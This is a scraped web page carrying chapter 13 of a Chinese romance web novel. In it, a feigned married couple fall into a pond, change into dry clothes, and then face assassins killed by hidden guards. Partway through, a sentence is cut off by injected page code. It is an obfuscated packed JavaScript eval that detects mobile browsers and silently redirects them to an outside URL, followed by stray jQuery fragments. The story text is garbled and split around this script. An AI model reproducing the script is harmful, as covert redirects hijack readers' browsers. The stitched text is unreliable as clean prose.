默认冷灰
24号文字
方正启体

13. 动心

作者:困猫却疏本书字数:K更新时间:
    扑通扑通——


    扑通一声——咚——


    灯笼落在了地上,一下子就灭了。失去了光,萤火虫被惊走了。


    池塘里被他俩砸出的水花溅到了岸边生长的草上,顺着曲线滑下来一滴露珠,折射的光影里两个少年绑作一团。


    也不知道为什么,两个人一下就失了魂一样的摔倒,月光下幽幽的池塘中,红鲤四处逃窜。


    唇齿相融,血的味道在口腔里蔓延,姜鸦瞪大了眼睛,脑袋里一片混乱。


    太邪了。


    他们俩又意外亲了。


    明天祭祀一定要去去邪,想必乌修月也是和她一样的想法。


    乌修月闭着眼,眉毛轻颤,闷哼一声,姜鸦反应过来推开他。


    “呸!”姜鸦猛猛吐了一口血。


    “…你还好吧?”乌修月声音低沉又暧昧。


    “你先起来!!!”


    “你不起来,我怎么样都不会好!”姜鸦尖叫地喊道。


    姜鸦头发湿答答的,一直有水顺着裙摆流下,今天穿的浅蓝色衣裙,入水就变得透白,浑身湿透,胸脯处几乎一览无余。


    她背后还硌到了池塘里的石子,脸上露出了酸楚的表情,乌修月满脸抱歉。


    他也不知道自己是怎么了,在抓住对方手的那一刻,像是被什么东西绊着了,往前一倒,直接把对方压下去。


    “我,我不是故意的……”


    乌修月脸颊红透,飞快起身侧过头将她抱起,解释道:“你衣服湿了,先进屋吧。”


    夜里凉风瑟瑟,乌修月怕她感染寒风。


    “啊!”姜鸦头一次被人像抱孩子一样的抱起来。


    猛然失重,她吓着死死地勒住了对方的脖子。


    “小月牙,你稍微松一点,你夫君吃不消。”乌修月这副轻浮的样子,姜鸦还是更习惯一点,让她怦然的心脏冷静多了。


    乌修月看着瘦瘦弱弱,抱起她来毫不费力,甚至还能从庭院一路进到屋里,把她轻放在床上以后一言不发,就埋头去衣柜寻找衣裙。


    姜鸦在床上脱得□□,把湿透的衣服丢在了床角边,裹着个被褥,乖巧等他。


    “我以为你会直接睡着呢。”乌修月抱着月白色的衣裳走过来,他身上的衣服也换了一身深蓝色的圆袍。


    “我要穿衣服。”姜鸦张开手,朝他伸手。


    乌修脸上浮现了一丝尴尬,“这里只有我的衣服,没有女子的衣服,你先将就将就。”


    姜鸦丢下了被褥,从床上爬起来,赤脚下床,乌修月看见第一眼,立马把衣服丢过去。


    “呀!你怎么不穿衣服?!!”乌修月脸色慌乱,自觉闭上眼。


    “我衣服湿透了呀!”


    姜鸦更加无语,她被衣裙打了脸。乌修月扔得真准,如果不是他闭眼快,她都怀疑是故意的了。


    “穿好了没有呀?”乌修月没有听到任何声音,忍不住地问了一句。


    姜鸦说:“你这衣服怎么绑后面啊?我不会穿男人的衣服啊。”


    “你先穿上!等会儿我帮你系。”乌修月背过身去,耳尖红红的。


    姜鸦白来了一眼,“又不是没看过。”她开始穿上衣,稀稀疏疏的声音在屋子里响着,乌修月听着声音眉毛紧皱。


    这衣袖完全盖过了手臂,裙长更是拖地行走,乌修月怎么长得这么高。


    她走到乌修月身边,扭过身去,歪头看向他的脸,脸没那么红了,他还紧张地闭着眼,什么做都做了,还这么……假纯情,真虚伪!


    姜鸦又起了逗他的心思,摆正身子,悄悄地踮起脚尖,用手遮住了他的眉眼,贴在他背后好像是一对相拥的恋人。


    学他的语气拖得很长:“我~换~好~了~”


    乌修月身体抖了抖,背部僵直,被抚摸上的地方有种触电般的颤意,背后的热度完全不能忽略。


    可生不出一点抗拒。


    在她靠近之前,香气是最先到达的,似清晨雨后的露水,也像寒冬被埋雪的竹,还夹杂着属于他衣裳的药味。


    “你别这样……”他只希望自己别再起心思。


    “假正经。”姜鸦吐槽了一句,松开了他。


    乌修月自然听到,好没气的顶牙,头一次被姜鸦呛着。


    姜鸦拢了拢衣裳,半天手够不到后面,娇气地说道:“你帮我系一下。”


    乌修月半信半疑地回头,心道后悔,这怎么能不动心。


    她香肩欲露,衣裳松松垮垮地挂在身上,头发上还有着刚出水的湿气,红唇湿润,无知地望向他,半个魂都要被勾走了。


    “你发什么愣啊,快点呀。”姜鸦催他。


    乌修月“嗯”了一声,默默地用手按住她转了个边,从背后抱上她,扯过长带子往后一勒,蛮蛮细腰,便可握在手心。


    忽地往后一扯,姜鸦撞进了他身上。


    “嘶。”


    乌修月狠狠地被头撞到了胸脯,结结实实的一下让他吐血。


    “是你先扯的。”


    姜鸦闻到了血腥味,眨了眨眼,完全不心虚地倒打一耙。


    刚想动就被他按住,说:“别动。我不弄好,对不住你撞得这一下。”


    乌修月三下五除二就系好,他目光晦暗,手还抵在她的腰上。


    腰好细。


    他忍不住想要顺着腰线一路摸上去,可还没有付出行动就被唤回。


    “好了没呀。”姜鸦嘟囔了一句,乌修月怎么这么慢,半天都没弄好。


    “好了。”


    乌修月依依不舍地松开她。


    姜鸦打了个哈欠,说道:“那就睡吧。”


    说着她又要爬回床上。


    “等等!”乌修月一把扯住她的手腕,厉声道:“你怎么不穿鞋。”


    姜鸦低头看着脚尖,她没穿鞋,脚上沾上灰尘。


    哦!原来他嫌脏呀!


    这样上床确实会把被褥弄脏,他确实得阻止自己。


    姜鸦刚要说,她去外面洗洗,再进来睡觉。乌修月又一把把她抱起来放在床上。


    “这样会着凉的。”乌修月眼里闪过一丝懊悔,刚刚他心猿意马,根本没有注意到姜鸦赤脚站地上同他讲话。


    乌修月转身,就朝着屋外走去。等了一会儿,他端了一盆水回来,姜鸦满头问号看着他把自己脚放进去,姜鸦低着头看他拿着布,认真擦拭她的脚。


    好奇怪,好奇怪。


    他们是什么关系。


    她还没有说一句话,就洗干净了。


    乌修月满意抬头,就看到少女大彻大悟的表情。这又想到什么了?


    姜鸦大抵是明白了。


    做这么一出,绝对不是因为她,是他看不得脏东西罢了。


    乌修月去倒水了。


    姜鸦收回腿继续盘腿,坐在床上摇摆,她现在心有点乱。


    乱乱乱。


    闭上眼,身体倒在了床上,她后悔了。


    想着想着意识越来越昏沉,睡眼忪惺时,屋外传来了打斗声。


    刀剑碰撞的声音,让她一个激灵醒来。姜鸦下意识拔刀,却发现床边已经没有了自己的刀,她现在是“姬红衫”。


    姜鸦欲哭无泪,现场取材一根铁棍冲出去。


    刚打开门,白色的刀光闪过眼睛,好像有血珠挥溅出来,一把剑擦破了窗户。


    乌修月也同样从外带着血迹,慌乱地冲了进来,一把就拥住了她,用力地按着她的脑袋,像是要将她融入骨中。


    “你没事吧?”


    “你没死啊……”


    两人同时开口却意思不同。


    姜鸦又又不小心把真话说出来,她真觉得这个假冒新娘做得挺失败的。


    乌修月埋在她的肩头,只想嗅到她身上的味道才能安心,至于她的死亡问候,他下意识选择忽略。


    “发生了什么?又是谁要杀你?”她拍了拍他的后背,轻轻地安抚着他的情绪。


    “我没事,都被暗卫解决了。”


    谁问你了?


    “好好说,别急。”姜鸦温和地问。


    姜鸦第一时间想到他又在演什么戏,搞什么英雄救美,美人落泪,互诉情肠的戏码。


    这戏,全在他身上了。


    乌修月眼里含着泪光,声音还带着哭腔,紧紧地抱着她,比平常还有耐心地向她解释,姜鸦习惯他这种跳脱的性格,一直在抚摸他的后背。


    “我只是担心你,那些人杀我,就罢了,但我怕!如果他们又跑到你这里来杀你,我……我差一点失去你,我怕……”


    “啊?”姜鸦不懂在怕什么。


    你怕什么?我们关系有这么好吗?!好想揪着他衣领问呐!我武功高强,你久病多疾。到底谁该担心谁啊?


    整个院子里血气冲天,她把手中的铁棍反手甩到一边,落在地上的响声,在场的人都能听得到,只有她身上的大狼狗还在哭唧唧。


    姜鸦抱着他,而院内堆了一地的尸体,池塘里的水和红鲤的艳浓不相上下,以及跟了他们一天的暗卫正匍匐在地上,与这深沉的夜,浑然天成。


    这么多……派了这么多人来杀他。


    啧,谁比她还讨厌乌修月。


    “嘶……你要不等会儿再哭?先问问谁派来的?”姜鸦一心惦记着正事,这派过来的人,难不成是之前使者弄的?


    “夫人,你都不关心我,难道尸体比我还重要吗?”乌修月又在控诉她,没有反驳她编造他哭,而是在关心姜鸦不在乎他。


    这是能比的吗?!姜鸦都被他整得无语了。


    姜鸦咬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825649|175511||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着嘴唇,她还记得他们约定好人前情深,做一对寻常夫妻。


    寻常人应该怎么样?姜鸦脑袋转了转,一瞬间想过所有见到过的夫妻。


    没有夫人要哄夫君的。


    但她见过哄自己孩子的方式,她照着学。


    姜鸦脸上立马换成一副关心,松开他,踮起脚尖温柔地擦掉那滴血,实际上是抹的更开了,就是脸上涂了胭脂一样,嫣红的。


    “我家夫君,有没有受伤?跟我说说。”姜鸦把他当成自己娃,轻轻地拍拍头。


    乌修月诧然,半天才接她的戏。


    “……夫人,为夫无碍,只是担心你有没有受惊。”乌修月泪眼汪汪,眼角的红不似作假,又想抱住姜鸦狠狠揉。


    “我真被吓到了,他们为什么要杀你?”姜鸦不动声色地躲过,故作矫揉造作,按着胸口低着头,夸张地问。


    彼此心知肚明,还不是因为乌修月多行不义必自毙。


    很直白地说,记恨他的人不在少数,一只手都数不过来。


    乌修月怎么会记得这么多仇家,他脸色苦恼。


    “温苦,你出来。”乌修月轻声唤道。


    一个跪在最前面的暗卫站了起来,“少主。”


    他木着脸,没什么生机。


    “你们怎么也没留个活口呢?倒也问问是谁派来的,为何要杀我等?真是成事不足,败事有余。”乌修月背着她劈头盖脸一顿说,好似跟那大长老学的,专学一些不好的东西。


    “少主,他们口中含毒,来不及救下。”温苦脸上表情不变,诚实地禀报。


    “真没用。”乌修月“哼”一声。


    温苦的头颅低得更低了,隐忍不发,配上那张清秀的脸叫人看得可怜。


    他趾高气扬地骂道:“真不知道那些长老,派你们过来有什么用?明天全部去惩戒堂领罚!”乌修月笑容逐渐消失,板着一张脸,着实能唬人。


    乌修月背后一阵发凉,回头就看直勾勾的眼神。


    姜鸦又看他不爽了。


    文人风骨,徒有其表。


    如果他砸那使者是罪有应得,可这些暗卫又有何错?


    这小暗卫太可怜了,真苦啊,和他名字一样。


    “夫君,这并不是他们的过错,别罚了,查不出就算了,那些尸体的背后之人总会露出马脚。”姜鸦吞着火气,好心好意地说道。


    “是啊,最好别被我发现,一旦被我发现,这些想要置我于死地的人,会一个一个挑出来,让他们的死期在我前头……”乌修月眯着眼,表情阴森,话有所话。


    姜鸦抿嘴,她也算一个吧?曾经。


    “但是夫人,我可以不罚,可你怎么能为了这个男人指责我呢?”乌修月狠狠地盯着她。


    姜鸦只想捡起那根铁棍,往他头上敲一下。


    乌修月出演一个喜怒无常的疯子真是出神入化,不知道他这样演了多少年了,才能达到这种境界。


    “我没向他求情。”


    “你就是有!你说是不是见色起意?”


    他这句话让原本低着头的温苦,微微抬起眼。


    “你爱怎么想就怎么想。”姜鸦心虚地撇过眼神,不和他视线对上,她确实觉得暗卫长得不错。


    但绝对没有乌修月好看。


    乌修月强行扭过她的头,“看着我说啊!不然我就让他……”


    见他又要牵连无辜之人,姜鸦迫于无奈说:“别闹了,夜已深,不如进去和我睡觉。”


    “嗯嗯,好吧,我都听夫人的。”


    要是能真听她的就好了。姜鸦预料不会这么轻巧进去,定有后招。


    “但是其他人我可没说放过。”乌修月真的是成心的,要是只有一个人没受罚,其他人不得怨恨死。


    他很讨厌这个暗卫吗?


    “你想怎样?”


    姜鸦这辈子的耐心都在他身上了。


    “夫人说我长得好看,还是他长得好看?”乌修月指着地上的人,说道。


    姜鸦语气非常真挚地回道:“当然是你长得好看呀!”


    乌修月一下就顺毛了,嘴角上扬,“我就知道!你等不必受罚,散了吧。”


    他一高兴,所有人都高兴了。姜鸦牵着他赶紧进屋,以防闹出什么幺蛾。


    和他闹,真得很心累,也就她能受得住了。


    姜鸦把他推到床上,“戏演够了吗?”


    乌修月背靠在床上,温柔地说:“夫人轻点,我疼。”


    “别演了,这儿就你我两个人,把你这副恶心的模样揭开,真是太恶心了。”


    乌修月笑了笑。


    “你也别笑!”姜鸦现在看他笑容就是不怀好意。


    乌修月嘴角下扬。


    “你也别这样,我也不习惯。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)